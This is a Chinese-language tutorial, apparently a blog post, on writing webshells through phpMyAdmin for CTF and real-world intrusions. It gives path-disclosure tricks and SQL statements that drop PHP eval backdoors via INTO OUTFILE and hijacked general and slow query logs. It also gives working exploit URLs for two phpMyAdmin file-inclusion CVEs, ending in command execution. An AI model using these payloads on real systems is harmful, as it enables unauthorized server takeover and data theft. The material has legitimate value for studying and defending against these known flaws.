phpMyadmin
phpMyadmin是常用来管理mysql数据库的web管理工具,在CTF和实战中经常会遇到,本文简单介绍一下常见的写shell方法。
信息收集
写shell需要绝对物理路径
报错爆路径
直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
[www.abc.com/index.php?id=1](http://www.abc.com/index.php?id=1)'
错误参数值爆路径:尝试将要提交的参数值改成错误值。
[www.abc.com/index.php?id=-1](http://www.abc.com/index.php?id=-1)
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
[www.abc.com/bg.jpg/x.php](http://www.abc.com/bg.jpg/x.php)
直接查询
sql语句查询
select @@datadir;
SHOW GLOBAL VARIABLES LIKE "%datadir%";
或者在变量中搜索
log
配置文件
如果注入点有文件读取权限,可通过load_file尝试读取配置文件
1
2
3
4
5
6
7
8
9
10# Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
Google大法
1
2site:xxx.com warning
site:xxx.com “fatal error”
- 查询其他信息、爆破、源码泄露、社工等手段
phpMyadmin写入shell几种方法
一、select into outfile直接写入
首先查看secure_file_priv
1 | SHOW GLOBAL VARIABLES LIKE "%secure%"; -查询 |
直接写入shell
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php';
二、创建数据库和表写入webshell
同样需要root权限、绝对路径和写入权限
执行下列对表操作语句
1 | CREATE TABLE test1( id text(500) not null); |
分别是建表 写入 写出 和删表。
蚁剑连接
三、全局日志getshell
利用条件除了上面的基础,还需要查看mysql全局日志的配置。
show variables like '%general%';
如果general_log的值为OFF,那么日志就没有被记录进去,通过下面的语句开启全局日志:
通过set语句设置它们的值
set global general_log = on;
设置日志目录为绝对路径下的木马文件
set global general_log_file = 'D:/phpstudy_pro/WWW/1.php'
然后select查询
select '<?php eval($_POST["T"]);?>';
成功写入日志文件
四、慢日志查询getshell
慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据 库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上 的语句是慢查询语句。
查看慢查询日志的配置
show variables like '%slow%';
开启慢日志查询,并修改日志文件绝对路径和文件名:
1 | set GLOBAL slow_query_log=ON; --开启 |
重新查看,修改成功。
接下来就是select查询shell写入日志文件,只不过比上面的多了一个sleep()延时
select '<?php @eval($_POST["Teabo"]);?> ' or sleep(11);
延时后,插入成功。
蚁剑连接
五、CVE-2018-12613 文件包含getshell
影响版本:Phpmyadmin 4.8.0/4.8.0.1/4.8.1
这个洞在CTF中很常见
可以直接文件读取
1 | http://127.0.0.1/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/WWW/1.txt |
利用seesion文件包含getshell
phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行 getshell
session是cookie中phpMyadmin的值
临时文件一般存放于/tmp
1 | select '<?php eval($_GET[Teabo]); ?>'; |
然后去包含session文件getshell
1 | http://node3.buuoj.cn:28925/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_a43095368a11321840b26d8ed5faba16&Teabo=phpinfo(); |
创建一个马
SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?>" ;
然后包含sess_YouSession文件,成功在目录下写入a.php
插入数据表getshell
看表哥说还可以插入一句话,然后直接去包含这个表文件 .frm
http://node3.buuoj.cn:28925/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/test/shell_table.frm
六、CVE-2018-19968 文件包含
影响环境: 4.8.0~4.8.3
利用条件:攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。但攻击者必须拥有有效的凭据才能登录phpMyAdmin,所以此漏洞不允许攻击者绕过登录系统。
漏洞细节:Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。
通常情况下Transformation的规则存储在每个数据库的pmacolumn_info 表中,而在phpMyAdmin 4.0.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。在tbl_replace.php文件中拼接到$filename的变量filename的变量mime_map$column_name来自于数据表pmacolumn_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。
在线环境:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1
利用步骤:
- 默认密码 root/toor进入phpMyadmin
- 创建数据库,并将shell写入session文件
1 | CREATE DATABASE foo; |
3.访问 http://fc85f05ebe56d4b252731912036b304d.n1.vsgo.cloud:15162/chk_rel.php?fixall_pmadb=1&db=foo
生成phpMyadmin的配置表
4.将篡改后的Transformation数据插入表pma_columninfo中将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值
INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_d1e8b8c86e214c8055bbce99f53b7a0e','plop';
5.访问 http://fc85f05ebe56d4b252731912036b304d.n1.vsgo.cloud:14106/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1&Teabo=system('ls /');
成功getshell
写在最后
phpMyadmin还有很多CVE,但是大多都版本过低,还有一些非授权漏洞,像前段时间的/pma 宝塔,剩下的关于phpmyadmin写shell姿势等学习了再记录。